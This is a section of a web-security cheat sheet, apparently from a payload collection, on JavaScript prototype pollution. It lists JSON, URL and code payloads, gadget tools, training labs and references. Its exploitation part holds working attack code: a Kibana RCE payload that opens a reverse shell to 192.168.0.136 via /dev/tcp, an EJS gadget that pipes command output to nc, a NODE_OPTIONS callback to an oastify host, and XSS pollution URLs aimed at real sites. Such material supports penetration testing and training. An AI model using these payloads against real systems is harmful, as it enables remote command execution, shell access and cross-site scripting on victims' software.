<h3 id="prototype-pollution-via-json-input">Prototype Pollution via JSON Input</h3>
<p>You can access the prototype of any object via the magic property <code>__proto__</code>.
The <code>JSON.parse()</code> function in JavaScript is used to parse a JSON string and convert it into a JavaScript object. Typically it is a sink function where prototype pollution can happen.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-5-1" name="__codelineno-5-1" href="#__codelineno-5-1"></a><span class="p">{</span>
<a id="__codelineno-5-2" name="__codelineno-5-2" href="#__codelineno-5-2"></a><span class="w"> </span><span class="s2">&quot;__proto__&quot;</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-5-3" name="__codelineno-5-3" href="#__codelineno-5-3"></a><span class="w"> </span><span class="s2">&quot;evilProperty&quot;</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;evilPayload&quot;</span>
<a id="__codelineno-5-4" name="__codelineno-5-4" href="#__codelineno-5-4"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-5-5" name="__codelineno-5-5" href="#__codelineno-5-5"></a><span class="p">}</span>
</code></pre></div>
<p>Asynchronous payload for NodeJS.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-6-1" name="__codelineno-6-1" href="#__codelineno-6-1"></a><span class="p">{</span>
<a id="__codelineno-6-2" name="__codelineno-6-2" href="#__codelineno-6-2"></a><span class="w"> </span><span class="s2">&quot;__proto__&quot;</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-6-3" name="__codelineno-6-3" href="#__codelineno-6-3"></a><span class="w"> </span><span class="s2">&quot;argv0&quot;</span><span class="o">:</span><span class="s2">&quot;node&quot;</span><span class="p">,</span>
<a id="__codelineno-6-4" name="__codelineno-6-4" href="#__codelineno-6-4"></a><span class="w"> </span><span class="s2">&quot;shell&quot;</span><span class="o">:</span><span class="s2">&quot;node&quot;</span><span class="p">,</span>
<a id="__codelineno-6-5" name="__codelineno-6-5" href="#__codelineno-6-5"></a><span class="w"> </span><span class="s2">&quot;NODE_OPTIONS&quot;</span><span class="o">:</span><span class="s2">&quot;--inspect=payload\&quot;\&quot;.oastify\&quot;\&quot;.com&quot;</span>
<a id="__codelineno-6-6" name="__codelineno-6-6" href="#__codelineno-6-6"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-6-7" name="__codelineno-6-7" href="#__codelineno-6-7"></a><span class="p">}</span>
</code></pre></div>
<p>Polluting the prototype via the <code>constructor</code> property instead.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-7-1" name="__codelineno-7-1" href="#__codelineno-7-1"></a><span class="p">{</span>
<a id="__codelineno-7-2" name="__codelineno-7-2" href="#__codelineno-7-2"></a><span class="w"> </span><span class="s2">&quot;constructor&quot;</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-7-3" name="__codelineno-7-3" href="#__codelineno-7-3"></a><span class="w"> </span><span class="s2">&quot;prototype&quot;</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-7-4" name="__codelineno-7-4" href="#__codelineno-7-4"></a><span class="w"> </span><span class="s2">&quot;foo&quot;</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;bar&quot;</span><span class="p">,</span>
<a id="__codelineno-7-5" name="__codelineno-7-5" href="#__codelineno-7-5"></a><span class="w"> </span><span class="s2">&quot;json spaces&quot;</span><span class="o">:</span><span class="w"> </span><span class="mf">10</span>
<a id="__codelineno-7-6" name="__codelineno-7-6" href="#__codelineno-7-6"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-7-7" name="__codelineno-7-7" href="#__codelineno-7-7"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-7-8" name="__codelineno-7-8" href="#__codelineno-7-8"></a><span class="p">}</span>
</code></pre></div>
<h3 id="prototype-pollution-in-url">Prototype Pollution in URL</h3>
<p>Example of Prototype Pollution payloads found in the wild.</p>
<div class="highlight"><pre><span></span><code><a id="__codelineno-8-1" name="__codelineno-8-1" href="#__codelineno-8-1"></a><span class="n">https</span><span class="p">://</span><span class="n">victim</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="c">#a=b&amp;__proto__[admin]=1</span>
<a id="__codelineno-8-2" name="__codelineno-8-2" href="#__codelineno-8-2"></a><span class="n">https</span><span class="p">://</span><span class="n">example</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="c">#__proto__[xxx]=alert(1)</span>
<a id="__codelineno-8-3" name="__codelineno-8-3" href="#__codelineno-8-3"></a><span class="n">http</span><span class="p">://</span><span class="n">server</span><span class="p">/</span><span class="n">servicedesk</span><span class="p">/</span><span class="n">customer</span><span class="p">/</span><span class="n">user</span><span class="p">/</span><span class="n">signup</span><span class="k">?</span><span class="n">__proto__</span><span class="p">.</span><span class="n">preventDefault</span><span class="p">.</span><span class="n">__proto__</span><span class="p">.</span><span class="n">handleObj</span><span class="p">.</span><span class="n">__proto__</span><span class="p">.</span><span class="n">delegateTarget</span><span class="p">=</span><span class="k">%</span><span class="n">3Cimg</span><span class="p">/</span><span class="n">src</span><span class="p">/</span><span class="n">onerror</span><span class="p">=</span><span class="n">alert</span><span class="p">(</span><span class="n">1</span><span class="p">)</span><span class="k">%</span><span class="n">3E</span>
<a id="__codelineno-8-4" name="__codelineno-8-4" href="#__codelineno-8-4"></a><span class="n">https</span><span class="p">://</span><span class="n">www</span><span class="p">.</span><span class="n">apple</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">shop</span><span class="p">/</span><span class="n">buy-watch</span><span class="p">/</span><span class="n">apple-watch</span><span class="k">?</span><span class="n">__proto__</span><span class="no">[src]</span><span class="p">=</span><span class="n">image</span><span class="p">&amp;</span><span class="n">__proto__</span><span class="no">[onerror]</span><span class="p">=</span><span class="n">alert</span><span class="p">(</span><span class="n">1</span><span class="p">)</span>
<a id="__codelineno-8-5" name="__codelineno-8-5" href="#__codelineno-8-5"></a><span class="n">https</span><span class="p">://</span><span class="n">www</span><span class="p">.</span><span class="n">apple</span><span class="p">.</span><span class="n">com</span><span class="p">/</span><span class="n">shop</span><span class="p">/</span><span class="n">buy-watch</span><span class="p">/</span><span class="n">apple-watch</span><span class="k">?</span><span class="n">a</span><span class="no">[constructor][prototype]</span><span class="p">=</span><span class="n">image</span><span class="p">&amp;</span><span class="n">a</span><span class="no">[constructor][prototype][onerror]</span><span class="p">=</span><span class="n">alert</span><span class="p">(</span><span class="n">1</span><span class="p">)</span>
</code></pre></div>
<h3 id="prototype-pollution-exploitation">Prototype Pollution Exploitation</h3>
<p>Depending if the prototype pollution is executed client (CSPP) or server side (SSPP), the impact will vary.</p>
<ul>
<li>Remote Command Execution: <a href="https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/">RCE in Kibana (CVE-2019-7609)</a>
<div class="highlight"><pre><span></span><code><a id="__codelineno-9-1" name="__codelineno-9-1" href="#__codelineno-9-1"></a><span class="p">.</span><span class="nx">es</span><span class="p">(</span><span class="o">*</span><span class="p">).</span><span class="nx">props</span><span class="p">(</span><span class="nx">label</span><span class="p">.</span><span class="nx">__proto__</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">AAAA</span><span class="o">=</span><span class="s1">&#39;require(&quot;child_process&quot;).exec(&quot;bash -i &gt;&amp; /dev/tcp/192.168.0.136/12345 0&gt;&amp;1&quot;);process.exit()//&#39;</span><span class="p">)</span>
<a id="__codelineno-9-2" name="__codelineno-9-2" href="#__codelineno-9-2"></a><span class="p">.</span><span class="nx">props</span><span class="p">(</span><span class="nx">label</span><span class="p">.</span><span class="nx">__proto__</span><span class="p">.</span><span class="nx">env</span><span class="p">.</span><span class="nx">NODE_OPTIONS</span><span class="o">=</span><span class="s1">&#39;--require /proc/self/environ&#39;</span><span class="p">)</span>
</code></pre></div></li>
<li>Remote Command Execution: <a href="https://mizu.re/post/ejs-server-side-prototype-pollution-gadgets-to-rce">RCE using EJS gadgets</a>
<div class="highlight"><pre><span></span><code><a id="__codelineno-10-1" name="__codelineno-10-1" href="#__codelineno-10-1"></a><span class="p">{</span>
<a id="__codelineno-10-2" name="__codelineno-10-2" href="#__codelineno-10-2"></a><span class="w"> </span><span class="s2">&quot;__proto__&quot;</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<a id="__codelineno-10-3" name="__codelineno-10-3" href="#__codelineno-10-3"></a><span class="w"> </span><span class="s2">&quot;client&quot;</span><span class="o">:</span><span class="w"> </span><span class="mf">1</span><span class="p">,</span>
<a id="__codelineno-10-4" name="__codelineno-10-4" href="#__codelineno-10-4"></a><span class="w"> </span><span class="s2">&quot;escapeFunction&quot;</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;JSON.stringify; process.mainModule.require(&#39;child_process&#39;).exec(&#39;id | nc localhost 4444&#39;)&quot;</span>
<a id="__codelineno-10-5" name="__codelineno-10-5" href="#__codelineno-10-5"></a><span class="w"> </span><span class="p">}</span>
<a id="__codelineno-10-6" name="__codelineno-10-6" href="#__codelineno-10-6"></a><span class="p">}</span>
</code></pre></div></li>
<li>Reflected XSS: <a href="https://hackerone.com/reports/986386">Reflected XSS on www.hackerone.com via Wistia embed code - #986386</a></li>
<li>Client-side bypass: <a href="https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/">Prototype pollution – and bypassing client-side HTML sanitizers</a></li>
<li>Denial of Service</li>
</ul>
<h3 id="prototype-pollution-payloads">Prototype Pollution Payloads</h3>
<div class="highlight"><pre><span></span><code><a id="__codelineno-11-1" name="__codelineno-11-1" href="#__codelineno-11-1"></a><span class="nb">Object</span><span class="p">.</span><span class="nx">__proto__</span><span class="p">[</span><span class="s2">&quot;evilProperty&quot;</span><span class="p">]</span><span class="o">=</span><span class="s2">&quot;evilPayload&quot;</span>
<a id="__codelineno-11-2" name="__codelineno-11-2" href="#__codelineno-11-2"></a><span class="nb">Object</span><span class="p">.</span><span class="nx">__proto__</span><span class="p">.</span><span class="nx">evilProperty</span><span class="o">=</span><span class="s2">&quot;evilPayload&quot;</span>
<a id="__codelineno-11-3" name="__codelineno-11-3" href="#__codelineno-11-3"></a><span class="nb">Object</span><span class="p">.</span><span class="kr">constructor</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">evilProperty</span><span class="o">=</span><span class="s2">&quot;evilPayload&quot;</span>
<a id="__codelineno-11-4" name="__codelineno-11-4" href="#__codelineno-11-4"></a><span class="nb">Object</span><span class="p">.</span><span class="kr">constructor</span><span class="p">[</span><span class="s2">&quot;prototype&quot;</span><span class="p">][</span><span class="s2">&quot;evilProperty&quot;</span><span class="p">]</span><span class="o">=</span><span class="s2">&quot;evilPayload&quot;</span>
<a id="__codelineno-11-5" name="__codelineno-11-5" href="#__codelineno-11-5"></a><span class="p">{</span><span class="s2">&quot;__proto__&quot;</span><span class="o">:</span><span class="w"> </span><span class="p">{</span><span class="s2">&quot;evilProperty&quot;</span><span class="o">:</span><span class="w"> </span><span class="s2">&quot;evilPayload&quot;</span><span class="p">}}</span>
<a id="__codelineno-11-6" name="__codelineno-11-6" href="#__codelineno-11-6"></a><span class="p">{</span><span class="s2">&quot;__proto__.name&quot;</span><span class="o">:</span><span class="s2">&quot;test&quot;</span><span class="p">}</span>
<a id="__codelineno-11-7" name="__codelineno-11-7" href="#__codelineno-11-7"></a><span class="nx">x</span><span class="p">[</span><span class="nx">__proto__</span><span class="p">][</span><span class="nx">abaeead</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">abaeead</span>
<a id="__codelineno-11-8" name="__codelineno-11-8" href="#__codelineno-11-8"></a><span class="nx">x</span><span class="p">.</span><span class="nx">__proto__</span><span class="p">.</span><span class="nx">edcbcab</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">edcbcab</span>
<a id="__codelineno-11-9" name="__codelineno-11-9" href="#__codelineno-11-9"></a><span class="nx">__proto__</span><span class="p">[</span><span class="nx">eedffcb</span><span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">eedffcb</span>
<a id="__codelineno-11-10" name="__codelineno-11-10" href="#__codelineno-11-10"></a><span class="nx">__proto__</span><span class="p">.</span><span class="nx">baaebfc</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">baaebfc</span>
<a id="__codelineno-11-11" name="__codelineno-11-11" href="#__codelineno-11-11"></a><span class="o">?</span><span class="nx">__proto__</span><span class="p">[</span><span class="nx">test</span><span class="p">]</span><span class="o">=</span><span class="nx">test</span>
</code></pre></div>
<h3 id="prototype-pollution-gadgets">Prototype Pollution Gadgets</h3>
<p>A "gadget" in the context of vulnerabilities typically refers to a piece of code or functionality that can be exploited or leveraged during an attack. When we talk about a "prototype pollution gadget," we're referring to a specific code path, function, or feature of an application that is susceptible to or can be exploited through a prototype pollution attack.</p>
<p>Either create your own gadget using part of the source with <a href="https://github.com/yeswehack/pp-finder">yeswehack/pp-finder</a>, or try to use already discovered gadgets <a href="https://github.com/yuske/server-side-prototype-pollution">yuske/server-side-prototype-pollution</a> / <a href="https://github.com/BlackFan/client-side-prototype-pollution">BlackFan/client-side-prototype-pollution</a>.</p>
<h2 id="labs">Labs</h2>
<ul>
<li><a href="https://dojo-yeswehack.com/XSS/Training/Prototype-Pollution">YesWeHack Dojo - Prototype Pollution</a></li>
<li><a href="https://portswigger.net/web-security/all-labs#prototype-pollution">PortSwigger - Prototype Pollution</a></li>
</ul>
<h2 id="references">References</h2>
<ul>
<li><a href="https://www.cobalt.io/blog/a-pentesters-guide-to-prototype-pollution-attacks">A Pentester's Guide to Prototype Pollution Attacks - Harsh Bothra - January 2, 2023</a></li>
<li><a href="https://blog.s1r1us.ninja/research/PP">A tale of making internet pollution free - Exploiting Client-Side Prototype Pollution in the wild - s1r1us - September 28, 2021</a></li>
<li><a href="https://www.intruder.io/research/server-side-prototype-pollution">Detecting Server-Side Prototype Pollution - Daniel Thatcher - February 15, 2023</a></li>
<li><a href="https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/">Exploiting prototype pollution – RCE in Kibana (CVE-2019-7609) - Michał Bentkowski - October 30, 2019</a></li>
<li><a href="https://youtu.be/LD-KcuKM_0M">Keynote | Server Side Prototype Pollution: Blackbox Detection Without The DoS - Gareth Heyes - March 27, 2023</a></li>
<li><a href="https://book.hacktricks.xyz/pentesting-web/deserialization/nodejs-proto-prototype-pollution">NodeJS - __proto__ &amp; prototype Pollution - HackTricks - July 19, 2024</a></li>
<li><a href="https://portswigger.net/web-security/prototype-pollution">Prototype Pollution - PortSwigger - November 10, 2022</a></li>
<li><a href="https://learn.snyk.io/lessons/prototype-pollution/javascript/">Prototype pollution - Snyk - August 19, 2023</a></li>
<li><a href="https://research.securitum.com/prototype-pollution-and-bypassing-client-side-html-sanitizers/">Prototype pollution and bypassing client-side HTML sanitizers - Michał Bentkowski - August 18, 2020</a></li>
<li><a href="https://youtu.be/mwpH9DF_RDA">Prototype Pollution and Where to Find Them - BitK &amp; SakiiR - August 14, 2023</a></li>
<li><a href="https://github.com/HoLyVieR/prototype-pollution-nsec18/blob/master/paper/JavaScript_prototype_pollution_attack_in_NodeJS.pdf">Prototype Pollution Attacks in NodeJS - Olivier Arteau - May 16, 2018</a></li>
<li><a href="https://youtu.be/LUsiFV3dsK8">Prototype Pollution Attacks in NodeJS applications - Olivier Arteau - October 3, 2018</a></li>
<li><a href="https://youtu.be/v5dq80S1WF4">Prototype Pollution Leads to RCE: Gadgets Everywhere - Mikhail Shcherbakov - September 29, 2023</a></li>
<li><a href="http://web.archive.org/web/20230218081534/https://blog.yeswehack.com/talent-development/server-side-prototype-pollution-how-to-detect-and-exploit/">Server side prototype pollution, how to detect and exploit - BitK - February 18, 2023</a></li>
<li><a href="https://portswigger.net/research/server-side-prototype-pollution">Server-side prototype pollution: Black-box detection without the DoS - Gareth Heyes - February 15, 2023</a></li>
</ul>
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